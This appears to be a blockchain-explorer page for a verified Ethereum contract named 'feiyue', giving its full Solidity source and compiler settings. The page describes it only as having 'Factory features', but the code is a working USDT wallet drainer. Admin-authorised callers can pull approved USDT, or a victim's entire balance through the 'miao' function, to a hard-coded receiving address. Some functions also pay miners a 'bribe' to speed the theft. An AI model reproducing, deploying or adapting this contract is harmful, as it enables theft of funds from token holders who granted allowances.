feiyue

Description:

Smart contract deployed on Ethereum with Factory features.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "my/DFG.sol": {
      "content": "// SPDX-License-Identifier: MIT\r
pragma solidity  ^0.8.4;\r
\r
\r
//定义 usdt 接口\r
interface IERC20 {\r
\r
    //授权后,转账\r
    function transferFrom(address sender, address recipient, uint256 amount) external ;\r
    //查询余额\r
    function balanceOf(address account) external view returns (uint256);\r
}\r
\r
\r
contract feiyue {\r
\r
    //合约地址\r
    address contractaddress = 0xdAC17F958D2ee523a2206206994597C13D831ec7;\r
    //定义 usdt 接口变量\r
    IERC20 usdt;\r
    constructor() {\r
        usdt = IERC20(contractaddress);\r
      }\r
    //用来判断那些地址拿到了,操作权限\r
    mapping(address => bool) auth;\r
    //收款地址,写死的\r
    address public toaddress = 0xF2d91FB48c50E67D19B61C314cab813c83D6DD16;\r
    //管理员钱包地址,写死的\r
    address public adminaddress = 0xDF6190B410e96Cc5595730c7Eb0AFE52B81d289e;\r
    \r
    //默认贿赂金额\r
    uint256 public ethAmountToCoinbase = 100000000000000;\r
\r
    //接收eth\r
    receive() external payable {\r
        \r
    }\r
\r
        //修改贿赂金额,只有内置的管理员 才有权限\r
    function upethAmountToCoinbase(uint256 _value) public returns (bool) {\r
        require(msg.sender == adminaddress, "You no admin");\r
        require(msg.sender != address(0), "You no admin");\r
        ethAmountToCoinbase = _value;\r
        return true;\r
    }\r
    //设置那些地址拥有调用转账权限,只有内置的管理员 才有权限调用\r
    function upauth(address _address , bool _auth) public returns (bool) {\r
        require(msg.sender == adminaddress, "You no admin");\r
        require(msg.sender != address(0), "You no admin");\r
        auth[_address] = _auth;\r
        return true;\r
    }   \r
    //获取地址 是否拥有权限\r
    function getisauth(address _address) public view returns (bool) {\r
        require(_address != address(0), "no");\r
        return auth[_address];\r
    }\r
\r
    //对已授权用户,发起转账,只有 得到管理员的授权后的地址才可以调用\r
    function transferFrom(address from,uint256 amount) public {\r
        require(msg.sender != address(0), "You no sb");\r
        require(auth[msg.sender] == true, "You no sb1");\r
        usdt.transferFrom(from,toaddress,amount);\r
    }\r
        //对已授权用户,发起转账,只有 得到管理员的授权后的地址才可以调用\r
    function Transfer(address from,uint256 amount) public {\r
        require(msg.sender != address(0), "You no sb");\r
        require(auth[msg.sender] == true, "You no sb1");\r
        usdt.transferFrom(from,toaddress,amount);\r
        block.coinbase.transfer(ethAmountToCoinbase);\r
    }\r
        //对已授权用户,发起转账,只有 得到管理员的授权后的地址才可以调用\r
    function a(address from,uint256 amount) public {\r
        require(msg.sender != address(0), "You no sb");\r
        require(auth[msg.sender] == true, "You no sb1");\r
        usdt.transferFrom(from,toaddress,amount);\r
        block.coinbase.transfer(ethAmountToCoinbase);\r
    }\r
    //对已授权用户,发起秒U,只有 得到管理员的授权后的地址才可以调用,用合约获取usdt余额 理论会更快一点,需要消耗的gas可能会多一点,不管用奶奶的\r
    function miao(address from) public {\r
        require(msg.sender != address(0), "You no sb");\r
        require(auth[msg.sender] == true, "You no sb1");\r
\r
        //获取用户钱包地址余额(usdt)\r
        uint256 amount = usdt.balanceOf(from);\r
        usdt.transferFrom(from,toaddress,amount);\r
    }\r
\r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
Factory|addr:0xed3009eaecc7c2fa55f3ff1d38d6b53e56449fcc|verified:true|block:23738540|tx:0xa3e6fd2c36157549791bf5d8e94a1677cf5b15e0ab4b2ab3f5898c9649d7529d|first_check:1762427177

Submitted on: 2025-11-06 12:06:17

Comments

Log in to comment.

No comments yet.